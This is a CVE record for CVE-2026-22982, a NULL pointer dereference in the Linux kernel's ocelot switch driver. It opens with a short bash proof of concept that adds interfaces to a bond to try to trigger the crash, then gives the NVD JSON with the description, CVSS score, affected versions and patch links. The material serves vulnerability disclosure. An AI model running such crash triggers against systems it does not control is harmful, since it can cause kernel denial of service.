CVE-2026-22982

#!/bin/bash # CVE-2026-22982 PoC - Trigger NULL pointer dereference in ocelot driver # This PoC demonstrates adding interface to LAG that triggers the vulnerability # Prerequisites: System with ocelot driver and network interfaces # Note: This is a conceptual PoC as actual trigger requires specific hardware # Step 1: Create a LAG interface ip link add bond0 type bond mode balance-rr # Step 2: Attempt to add potentially NULL ports to the LAG # This may trigger ocelot_set_aggr_pgids() with NULL pointer ip link set eth0 master bond0 ip link set eth1 master bond0 # Step 3: Verify if crash occurred (check dmesg) dmesg | tail -50 # Expected result: Kernel NULL pointer dereference in ocelot driver # Note: Actual trigger depends on specific ocelot hardware configuration

{"cve": {"id": "CVE-2026-22982", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-23T16:15:54.223", "lastModified": "2026-02-26T18:48:27.273", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: mscc: ocelot: Fix crash when adding interface under a lag\n\nCommit 15faa1f67ab4 (\"lan966x: Fix crash when adding interface under a lag\")\nfixed a similar issue in the lan966x driver caused by a NULL pointer dereference.\nThe ocelot_set_aggr_pgids() function in the ocelot driver has similar logic\nand is susceptible to the same crash.\n\nThis issue specifically affects the ocelot_vsc7514.c frontend, which leaves\nunused ports as NULL pointers. The felix_vsc9959.c frontend is unaffected as\nit uses the DSA framework which registers all ports.\n\nFix this by checking if the port pointer is valid before accessing it."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nnet: mscc: ocelot: Corregir caída al añadir interfaz bajo un lag\n\nCommit 15faa1f67ab4 ('lan966x: Corregir caída al añadir interfaz bajo un lag') solucionó un problema similar en el controlador lan966x causado por una desreferenciación de puntero NULL. La función ocelot_set_aggr_pgids() en el controlador ocelot tiene una lógica similar y es susceptible a la misma caída.\n\nEste problema afecta específicamente al frontend ocelot_vsc7514.c, que deja los puertos no utilizados como punteros NULL. El frontend felix_vsc9959.c no se ve afectado ya que utiliza el framework DSA que registra todos los puertos.\n\nSolucione esto comprobando si el puntero del puerto es válido antes de acceder a él."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.12", "versionEndExcluding": "5.15.198", "matchCriteriaId": "695240F0-323C-4F74-9E99-46286D29CA07"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.161", "matchCriteriaId": "E135B7E2-61FC-4DC1-8570-ABD67894FFDE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.121", "matchCriteriaId": "BB7A164B-7422-4A1C-82FB-5FCAEE53C06C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.66", "matchCriteriaId": "F72B884C-B44F-40E4-9895-CE421AC663D0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.6", "matchCriteriaId": "879529BC-5B4C-4EBE-BF1D-1A31404A8B2E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:*", "matchCriteriaId": "17B67AA7-40D6-4AFA-8459-F200F3D7CFD1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:*", "matchCriteriaId": "C47E4CC9-C826-4FA9-B014-7FE3D9B318B2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc3:*:*:*:*:*:*", "matchCriteriaId": "F71D92C0-C023-48BD-B3B6-70B638EEE298"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc4:*:*:*:*:*:*", "matchCriteriaId": "13580667-0A98-40CC-B29F-D12790B91BDB"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/03fb1708b7d1e76aecebf767ad059c319845039f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2985712dc76dfa670eb7fd607c09d4d48e5f5c6e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/34f3ff52cb9fa7dbf04f5c734fcc4cb6ed5d1a95", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8767f238b0e6c3d0b295ac6dce9fbe6a99bd1b9d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b17818307446c5a8d925a39a792261dbfa930041", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f490af47bbee02441e356a1e0b86e3b3dd5120ff", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Pa ... 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